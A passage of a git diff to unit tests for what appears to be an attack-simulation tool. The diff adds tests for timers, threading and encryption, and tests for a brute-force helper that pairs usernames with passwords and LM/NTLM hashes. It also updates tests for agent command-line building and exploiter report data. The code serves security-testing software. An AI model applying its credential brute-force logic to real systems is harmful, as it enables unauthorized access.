action is enabled in config - :return: True if it needs to be ran, false otherwise - """ - return class_name in PluginTester.classes_to_load - - @staticmethod - def base_package_file(): - return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__file__ - - @staticmethod - def base_package_name(): - return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__package__ diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py deleted file mode 100644 index bae443c50..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py +++ /dev/null @@ -1,5 +0,0 @@ -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester - - -class PluginWorking(PluginTester): - pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py deleted file mode 100644 index db1069bf0..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py +++ /dev/null @@ -1,38 +0,0 @@ -from unittest import TestCase - -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.ComboFile import ( - BadInit, - ProperClass, -) -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking - - -class TestPlugin(TestCase): - def test_combo_file(self): - PluginTester.classes_to_load = [BadInit.__name__, ProperClass.__name__] - to_init = PluginTester.get_classes() - self.assertEqual(len(to_init), 2) - objects = PluginTester.get_instances() - self.assertEqual(len(objects), 1) - - def test_bad_init(self): - PluginTester.classes_to_load = [BadPluginInit.__name__] - to_init = PluginTester.get_classes() - self.assertEqual(len(to_init), 1) - objects = PluginTester.get_instances() - self.assertEqual(len(objects), 0) - - def test_bad_import(self): - PluginTester.classes_to_load = [SomeDummyPlugin.__name__] - to_init = PluginTester.get_classes() - self.assertEqual(len(to_init), 0) - - def test_flow(self): - PluginTester.classes_to_load = [PluginWorking.__name__] - to_init = PluginTester.get_classes() - self.assertEqual(len(to_init), 1) - objects = PluginTester.get_instances() - self.assertEqual(len(objects), 1) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py b/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py new file mode 100644 index 000000000..6d79c361e --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py @@ -0,0 +1,94 @@ +from itertools import chain, compress + +import pytest + +from infection_monkey.utils.brute_force import ( + generate_identity_secret_pairs, + generate_username_password_or_ntlm_hash_combinations, +) + +USERNAMES = ["shaggy", "scooby"] +PASSWORDS = ["1234", "iloveyou", "the_cake_is_a_lie"] +EXPECTED_USERNAME_PASSWORD_PAIRS = { + (USERNAMES[0], PASSWORDS[0]), + (USERNAMES[0], PASSWORDS[1]), + (USERNAMES[0], PASSWORDS[2]), + (USERNAMES[1], PASSWORDS[0]), + (USERNAMES[1], PASSWORDS[1]), + (USERNAMES[1], PASSWORDS[2]), +} + +LM_HASHES = ["DEADBEEF", "FACADE"] +EXPECTED_USERNAME_LM_PAIRS = { + (USERNAMES[0], LM_HASHES[0]), + (USERNAMES[0], LM_HASHES[1]), + (USERNAMES[1], LM_HASHES[0]), + (USERNAMES[1], LM_HASHES[1]), +} + +NT_HASHES = ["FADED", "ADDED"] +EXPECTED_USERNAME_NT_PAIRS = { + (USERNAMES[0], NT_HASHES[0]), + (USERNAMES[0], NT_HASHES[1]), + (USERNAMES[1], NT_HASHES[0]), + (USERNAMES[1], NT_HASHES[1]), +} + + +def test_generate_username_password_pairs(): + generated_pairs = generate_identity_secret_pairs(USERNAMES, PASSWORDS) + assert set(generated_pairs) == EXPECTED_USERNAME_PASSWORD_PAIRS + + +@pytest.mark.parametrize("usernames, passwords", [(USERNAMES, []), ([], PASSWORDS), ([], [])]) +def test_generate_username_password_pairs__empty_inputs(usernames, passwords): + generated_pairs = generate_identity_secret_pairs(usernames, passwords) + assert len(set(generated_pairs)) == 0 + + +def generate_expected_username_password_hash_combinations( + passwords: bool, lm_hashes: bool, nt_hashes: bool +): + possible_combinations = ( + {(p[0], p[1], "", "") for p in EXPECTED_USERNAME_PASSWORD_PAIRS}, + {(p[0], "", p[1], "") for p in EXPECTED_USERNAME_LM_PAIRS}, + {(p[0], "", "", p[1]) for p in EXPECTED_USERNAME_NT_PAIRS}, + ) + + return set( + chain.from_iterable(compress(possible_combinations, (passwords, lm_hashes, nt_hashes))) + ) + + +def test_generate_username_password_or_ntlm_hash_pairs__empty_usernames(): + generated_pairs = generate_username_password_or_ntlm_hash_combinations( + [], PASSWORDS, LM_HASHES, NT_HASHES + ) + + assert len(set(generated_pairs)) == 0 + + +@pytest.mark.parametrize( + "passwords,lm_hashes,nt_hashes", + [ + (PASSWORDS, LM_HASHES, NT_HASHES), + ([], LM_HASHES, NT_HASHES), + (PASSWORDS, [], NT_HASHES), + (PASSWORDS, LM_HASHES, []), + (PASSWORDS, [], []), + ([], LM_HASHES, []), + ([], [], NT_HASHES), + ([], [], []), + ], +) +def test_generate_username_password_or_ntlm_hash_pairs__with_usernames( + passwords, lm_hashes, nt_hashes +): + expected_credential_combinations = generate_expected_username_password_hash_combinations( + bool(passwords), bool(lm_hashes), bool(nt_hashes) + ) + generated_pairs = generate_username_password_or_ntlm_hash_combinations( + USERNAMES, passwords, lm_hashes, nt_hashes + ) + + assert set(generated_pairs) == expected_credential_combinations diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index a3f210533..db9ddbbe7 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -20,11 +20,9 @@ def test_build_monkey_commandline_explicitly_arguments(): "0", "-l", "C:\\windows\\abc", - "-vp", - "80", ] actual = build_monkey_commandline_explicitly( - "101010", "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", "80" + "101010", "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc" ) assert expected == actual @@ -98,11 +96,9 @@ def test_get_monkey_commandline_linux(): def test_build_monkey_commandline(): example_host = VictimHost(ip_addr="bla") - example_host.set_default_server("101010") + example_host.set_island_address("101010", "5000") - expected = f" -p {GUID} -s 101010 -d 0 -l /home/bla -vp 80" - actual = build_monkey_commandline( - target_host=example_host, depth=0, vulnerable_port="80", location="/home/bla" - ) + expected = f" -p {GUID} -s 101010:5000 -d 0 -l /home/bla" + actual = build_monkey_commandline(target_host=example_host, depth=0, location="/home/bla") assert expected == actual diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py b/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py new file mode 100644 index 000000000..5fe9a3881 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py @@ -0,0 +1,78 @@ +import time +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.utils.decorators import request_cache +from infection_monkey.utils.timer import Timer + + +class MockTimer(Timer): + def __init__(self): + self._time_remaining = 0 + self._set_time = 0 + + def set(self, timeout_sec: float): + self._time_remaining = timeout_sec + self._set_time = timeout_sec + + def set_expired(self): + self._time_remaining = 0 + + @property + def time_remaining(self) -> float: + return self._time_remaining + + def reset(self): + """ + Reset the timer without changing the timeout + """ + self._time_remaining = self._set_time + + +class MockTimerFactory: + def __init__(self): + self._instance = None + + def __call__(self): + if self._instance is None: + mt = MockTimer() + self._instance = mt + + return self._instance + + def reset(self): + self._instance = None + + +mock_timer_factory = MockTimerFactory() + + +@pytest.fixture +def mock_timer(monkeypatch): + mock_timer_factory.reset + + monkeypatch.setattr("infection_monkey.utils.decorators.Timer", mock_timer_factory) + + return mock_timer_factory() + + +def test_request_cache(mock_timer): + mock_request = MagicMock(side_effect=lambda: time.perf_counter_ns()) + + @request_cache(10) + def make_request(): + return mock_request() + + t1 = make_request() + t2 = make_request() + + assert t1 == t2 + + mock_timer.set_expired() + + t3 = make_request() + t4 = make_request() + + assert t3 != t1 + assert t3 == t4 diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index 8ebddf280..adf18bf5a 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -38,7 +38,7 @@ def test_get_all_regular_files_in_directory__no_files(tmp_path, monkeypatch): add_subdirs_to_dir(tmp_path) expected_return_value = [] - assert get_all_regular_files_in_directory(tmp_path) == expected_return_value + assert list(get_all_regular_files_in_directory(tmp_path)) == expected_return_value def test_get_all_regular_files_in_directory__has_files(tmp_path, monkeypatch): @@ -63,7 +63,7 @@ def test_filter_files__no_results(tmp_path): add_files_to_dir(tmp_path) files_in_dir = get_all_regular_files_in_directory(tmp_path) - filtered_files = filter_files(files_in_dir, [lambda _: False]) + filtered_files = list(filter_files(files_in_dir, [lambda _: False])) assert len(filtered_files) == 0 @@ -109,8 +109,8 @@ def test_is_not_symlink_filter(tmp_path): link_path = tmp_path / "symlink.test" link_path.symlink_to(files[0], target_is_directory=False) - files_in_dir = get_all_regular_files_in_directory(tmp_path) - filtered_files = filter_files(files_in_dir, [is_not_symlink_filter]) + files_in_dir = list(get_all_regular_files_in_directory(tmp_path)) + filtered_files = list(filter_files(files_in_dir, [is_not_symlink_filter])) assert link_path in files_in_dir assert len(filtered_files) == len(FILES) @@ -121,7 +121,7 @@ def test_is_not_shortcut_filter(tmp_path): add_files_to_dir(tmp_path) files_in_dir = get_all_regular_files_in_directory(tmp_path) - filtered_files = filter_files(files_in_dir, [is_not_shortcut_filter]) + filtered_files = list(filter_files(files_in_dir, [is_not_shortcut_filter])) assert len(filtered_files) == len(FILES) - 1 assert SHORTCUT not in [f.name for f in filtered_files] diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py b/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py new file mode 100644 index 000000000..eb67610ef --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py @@ -0,0 +1,29 @@ +import pytest + +from infection_monkey.utils.monkey_log_path import get_agent_log_path, get_dropper_log_path + + +def delete_log_file(log_path): + if log_path.is_file(): + log_path.unlink() + + +@pytest.mark.parametrize("get_log_path", [get_agent_log_path, get_dropper_log_path]) +def test_subsequent_calls_return_same_path(get_log_path): + log_path_1 = get_log_path() + assert log_path_1.is_file() + + log_path_2 = get_log_path() + assert log_path_1 == log_path_2 + + delete_log_file(log_path_1) + + +def test_agent_dropper_paths_differ(): + agent_log_path = get_agent_log_path() + dropper_log_path = get_dropper_log_path() + + assert agent_log_path != dropper_log_path + + for log_path in [agent_log_path, dropper_log_path]: + delete_log_file(log_path) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py new file mode 100644 index 000000000..96a289096 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py @@ -0,0 +1,129 @@ +import logging +from threading import Event, current_thread +from typing import Any + +from infection_monkey.utils.threading import ( + create_daemon_thread, + interruptible_function, + interruptible_iter, + run_worker_threads, +) + + +def test_create_daemon_thread(): + thread = create_daemon_thread(lambda: None, name="test") + assert thread.daemon + + +def test_create_daemon_thread_naming(): + thread = create_daemon_thread(lambda: None, name="test") + assert thread.name == "test" + + +def test_interruptible_iter(): + interrupt = Event() + items_from_iterator = [] + test_iterator = interruptible_iter(range(0, 10), interrupt, "Test iterator was interrupted") + + for i in test_iterator: + items_from_iterator.append(i) + if i == 3: + interrupt.set() + + assert items_from_iterator == [0, 1, 2, 3] + + +def test_interruptible_iter_not_interrupted(): + interrupt = Event() + items_from_iterator = [] + test_iterator = interruptible_iter(range(0, 5), interrupt, "Test iterator was interrupted") + + for i in test_iterator: + items_from_iterator.append(i) + + assert items_from_iterator == [0, 1, 2, 3, 4] + + +def test_interruptible_iter_interrupted_before_used(): + interrupt = Event() + items_from_iterator = [] + test_iterator = interruptible_iter( + range(0, 5), interrupt, "Test iterator was interrupted", logging.INFO + ) + + interrupt.set() + for i in test_iterator: + items_from_iterator.append(i) + + assert not items_from_iterator + + +def test_worker_thread_names(): + thread_names = set() + + def add_thread_name_to_list(): + thread_names.add(current_thread().name) + + run_worker_threads(target=add_thread_name_to_list, name_prefix="A", num_workers=2) + run_worker_threads(target=add_thread_name_to_list, name_prefix="B", num_workers=2) + run_worker_threads(target=add_thread_name_to_list, name_prefix="A", num_workers=2) + + assert "A-01" in thread_names + assert "A-02" in thread_names + assert "A-03" in thread_names + assert "A-04" in thread_names + assert "B-01" in thread_names + assert "B-02" in thread_names + assert len(thread_names) == 6 + + +class MockFunction: + def __init__(self): + self._call_count = 0 + + @property + def call_count(self): + return self._call_count + + @property + def return_value(self): + return 42 + + def __call__(self, *_, interrupt: Event) -> Any: + self._call_count += 1 + + return self.return_value + + +def test_interruptible_decorator_calls_decorated_function(): + fn = MockFunction() + int_fn = interruptible_function()(fn) + + return_value = int_fn(interrupt=Event()) + + assert return_value == fn.return_value + assert fn.call_count == 1 + + +def test_interruptible_decorator_skips_decorated_function(): + fn = MockFunction() + int_fn = interruptible_function()(fn) + interrupt = Event() + interrupt.set() + + return_value = int_fn(interrupt=interrupt) + + assert return_value is None + assert fn.call_count == 0 + + +def test_interruptible_decorator_returns_default_value_on_interrupt(): + fn = MockFunction() + int_fn = interruptible_function(default_return_value=777)(fn) + interrupt = Event() + interrupt.set() + + return_value = int_fn(interrupt=interrupt) + + assert return_value == 777 + assert fn.call_count == 0 diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py b/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py new file mode 100644 index 000000000..b5291cc0e --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py @@ -0,0 +1,94 @@ +import time + +import pytest + +from infection_monkey.utils.timer import Timer + + +@pytest.fixture +def start_time(set_current_time): + start_time = 100 + set_current_time(start_time) + + return start_time + + +@pytest.fixture +def set_current_time(monkeypatch): + def inner(current_time): + monkeypatch.setattr(time, "time", lambda: current_time) + + return inner + + +@pytest.mark.parametrize(("timeout"), [5, 1.25]) +def test_timer_not_expired(start_time, set_current_time, timeout): + t = Timer() + t.set(timeout) + + assert not t.is_expired() + + set_current_time(start_time + (timeout - 0.001)) + assert not t.is_expired() + + +@pytest.mark.parametrize(("timeout"), [5, 1.25]) +def test_timer_expired(start_time, set_current_time, timeout): + t = Timer() + t.set(timeout) + + assert not t.is_expired() + + set_current_time(start_time + timeout) + assert t.is_expired() + + set_current_time(start_time + timeout + 0.001) + assert t.is_expired() + + +def test_unset_timer_expired(): + t = Timer() + + assert t.is_expired() + + +@pytest.mark.parametrize(("timeout"), [5, 1.25]) +def test_timer_reset(start_time, set_current_time, timeout): + t = Timer() + t.set(timeout) + + assert not t.is_expired() + + set_current_time(start_time + timeout) + assert t.is_expired() + + t.reset() + assert not t.is_expired() + + set_current_time(start_time + (2 * timeout)) + assert t.is_expired() + + +def test_time_remaining(start_time, set_current_time): + timeout = 5 + + t = Timer() + t.set(timeout) + + assert t.time_remaining == timeout + + set_current_time(start_time + 2) + assert t.time_remaining == 3 + + +def test_time_remaining_is_zero(start_time, set_current_time): + timeout = 5 + + t = Timer() + t.set(timeout) + + set_current_time(start_time + timeout) + assert t.time_remaining == 0 + + set_current_time(start_time + (2 * timeout)) + assert t.time_remaining == 0 diff --git a/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py index cb5e0746b..09762fe57 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py @@ -10,7 +10,7 @@ TEST_USER = "test_user" @pytest.fixture def subprocess_check_output_spy(monkeypatch): - def mock_check_output(command, stderr): + def mock_check_output(command, stderr, timeout): mock_check_output.command = command mock_check_output.command = "" diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index dfd927f4a..ba5a2c66e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -1,25 +1,21 @@ # Without these imports pytests can't use fixtures, # because they are not found import json -import os import pytest from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 -from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_based_encryption import ( # noqa: E501 - MONKEY_CONFIGS_DIR_PATH, - STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, -) from monkey_island.cc.server_utils.encryption import unlock_datastore_encryptor @pytest.fixture -def monkey_config(data_for_tests_dir): - plaintext_monkey_config_standard_path = os.path.join( - data_for_tests_dir, MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME - ) - plaintext_config = json.loads(open(plaintext_monkey_config_standard_path, "r").read()) - return plaintext_config +def monkey_config(load_monkey_config): + return load_monkey_config("monkey_config_standard.json") + + +@pytest.fixture +def flat_monkey_config(load_monkey_config): + return load_monkey_config("flat_config.json") @pytest.fixture diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py index 77003ec8f..345522013 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py @@ -4,8 +4,7 @@ from datetime import datetime import mongoengine import pytest -from monkey_island.cc.models.telemetries import get_telemetry_by_query, save_telemetry -from monkey_island.cc.models.telemetries.telemetry import Telemetry +from monkey_island.cc.models.telemetries import save_telemetry MOCK_CREDENTIALS = { "M0nk3y": { @@ -51,28 +50,6 @@ def fake_mongo(monkeypatch): monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry_dal.mongo", mongo) -@pytest.mark.slow -@pytest.mark.usefixtures("uses_database", "uses_encryptor") -def test_telemetry_encryption(): - secret_keys = ["password", "lm_hash", "ntlm_hash"] - - save_telemetry(MOCK_TELEMETRY) - - encrypted_telemetry = Telemetry.objects.first() - for user in MOCK_CREDENTIALS.keys(): - assert encrypted_telemetry["data"]["credentials"][user]["username"] == user - - for s in secret_keys: - assert encrypted_telemetry["data"]["credentials"][user][s] != MOCK_CREDENTIALS[user][s] - - decrypted_telemetry = get_telemetry_by_query({})[0] - for user in MOCK_CREDENTIALS.keys(): - assert decrypted_telemetry["data"]["credentials"][user]["username"] == user - - for s in secret_keys: - assert decrypted_telemetry["data"]["credentials"][user][s] == MOCK_CREDENTIALS[user][s] - - @pytest.mark.slow @pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_no_encryption_needed(): diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py index f5a00e5e7..e25871378 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py @@ -3,7 +3,7 @@ import uuid import pytest -from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError +from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError, ParentNotFoundError from monkey_island.cc.models.monkey_ttl import MonkeyTtl logger = logging.getLogger(__name__) @@ -162,3 +162,35 @@ class TestMonkey: cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info() assert cache_info_after_query.hits == 2 + + @pytest.mark.usefixtures("uses_database") + def test_has_parent(self): + monkey_1 = Monkey(guid=str(uuid.uuid4())) + monkey_2 = Monkey(guid=str(uuid.uuid4())) + monkey_1.parent = [[monkey_2.guid]] + monkey_1.save() + assert monkey_1.has_parent() + + @pytest.mark.usefixtures("uses_database") + def test_has_no_parent(self): + monkey_1 = Monkey(guid=str(uuid.uuid4())) + monkey_1.parent = [[monkey_1.guid]] + monkey_1.save() + assert not monkey_1.has_parent() + + @pytest.mark.usefixtures("uses_database") + def test_get_parent(self): + monkey_1 = Monkey(guid=str(uuid.uuid4())) + monkey_2 = Monkey(guid=str(uuid.uuid4())) + monkey_1.parent = [[monkey_2.guid]] + monkey_1.save() + monkey_2.save() + assert monkey_1.get_parent().guid == monkey_2.guid + + @pytest.mark.usefixtures("uses_database") + def test_get_parent_no_parent(self): + monkey_1 = Monkey(guid=str(uuid.uuid4())) + monkey_1.parent = [[monkey_1.guid]] + monkey_1.save() + with pytest.raises(ParentNotFoundError): + monkey_1.get_parent() diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py deleted file mode 100644 index 952d87289..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py +++ /dev/null @@ -1,45 +0,0 @@ -import pytest -from mongoengine import ValidationError -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 - RULES, -) - -import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails - -MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() -MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"] -SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails() -SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] - - -class TestScoutSuiteFinding: - @pytest.mark.usefixtures("uses_database") - def test_save_finding_validation(self): - with pytest.raises(ValidationError): - _ = ScoutSuiteFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status="bla bla", - detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK, - ) - - @pytest.mark.usefixtures("uses_database") - def test_save_finding_sanity(self): - assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 - - rule_example = RULES[0] - scoutsuite_details_example = ScoutSuiteFindingDetails() - scoutsuite_details_example.scoutsuite_rules.append(rule_example) - scoutsuite_details_example.save() - ScoutSuiteFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=scoutsuite_details_example, - ) - - assert len(ScoutSuiteFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 - assert len(ScoutSuiteFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 - assert len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py deleted file mode 100644 index d8fd05451..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py +++ /dev/null @@ -1,66 +0,0 @@ -from unittest import TestCase - -from monkey_island.cc.resources.bootloader import Bootloader - - -class TestBootloader(TestCase): - def test_get_request_contents_linux(self): - data_without_tunnel = ( - b'{"system":"linux", ' - b'"os_version":"NAME="Ubuntu"\n", ' - b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' - b'"hostname":"test-TEST", ' - b'"tunnel":false, ' - b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' - ) - data_with_tunnel = ( - b'{"system":"linux", ' - b'"os_version":"NAME="Ubuntu"\n", ' - b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' - b'"hostname":"test-TEST", ' - b'"tunnel":"192.168.56.1:5002", ' - b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' - ) - - result1 = Bootloader._get_request_contents_linux(data_without_tunnel) - self.assertTrue(result1["system"] == "linux") - self.assertTrue(result1["os_version"] == "Ubuntu") - self.assertTrue(result1["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") - self.assertTrue(result1["hostname"] == "test-TEST") - self.assertFalse(result1["tunnel"]) - self.assertTrue(result1["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) - - result2 = Bootloader._get_request_contents_linux(data_with_tunnel) - self.assertTrue(result2["system"] == "linux") - self.assertTrue(result2["os_version"] == "Ubuntu") - self.assertTrue(result2["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") - self.assertTrue(result2["hostname"] == "test-TEST") - self.assertTrue(result2["tunnel"] == "192.168.56.1:5002") - self.assertTrue(result2["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) - - def test_get_request_contents_windows(self): - windows_data = ( - b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' - b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' - b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' - b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 ' - b'\x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' - b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006' - b'\x00B\x00"' - b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e' - b"\x00,\x00 " - b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[' - b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' - b'\x006\x00.\x001\x00"\x00,\x00 ' - b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' - b'\x00.\x001\x00"\x00,\x00 ' - b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' - b'\x001\x00"\x00]\x00}\x00' - ) - - result = Bootloader._get_request_contents_windows(windows_data) - self.assertTrue(result["system"] == "windows") - self.assertTrue(result["os_version"] == "windows8_or_greater") - self.assertTrue(result["hostname"] == "DESKTOP-PJHU36B") - self.assertFalse(result["tunnel"]) - self.assertTrue(result["ips"] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"]) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py index 0e044c84a..038b17ec1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py @@ -13,8 +13,6 @@ from monkey_island.cc.server_utils.encryption import ( # Mark all tests in this module as slow pytestmark = pytest.mark.slow -MONKEY_CONFIGS_DIR_PATH = "monkey_configs" -STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" PASSWORD = "hello123" INCORRECT_PASSWORD = "goodbye321" diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_string_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_string_encryptor.py new file mode 100644 index 000000000..637ab1da1 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_string_encryptor.py @@ -0,0 +1,17 @@ +from monkey_island.cc.server_utils.encryption import StringEncryptor + +MOCK_STRING = "m0nk3y" +EMPTY_STRING = "" + + +def test_encryptor(uses_encryptor): + encrypted_string = StringEncryptor.encrypt(MOCK_STRING) + assert not encrypted_string == MOCK_STRING + decrypted_string = StringEncryptor.decrypt(encrypted_string) + assert decrypted_string == MOCK_STRING + + +def test_empty_string(uses_encryptor): + # Tests that no erros are raised + encrypted_string = StringEncryptor.encrypt(EMPTY_STRING) + StringEncryptor.decrypt(encrypted_string) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py index 4c7ca36a7..aadd13f60 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py @@ -27,9 +27,9 @@ SCAN_DATA_MOCK = [ EXPLOIT_DATA_MOCK = [ { "result": True, - "exploiter": "ElasticGroovyExploiter", + "exploiter": "ZerologonExploiter", "info": { - "display_name": "Elastic search", + "display_name": "Zerologon", "started": "2020-05-11T08:59:38.105Z", "finished": "2020-05-11T08:59:38.106Z", "vulnerable_urls": [], diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py index f40e09c62..84d7bb3eb 100644 --- 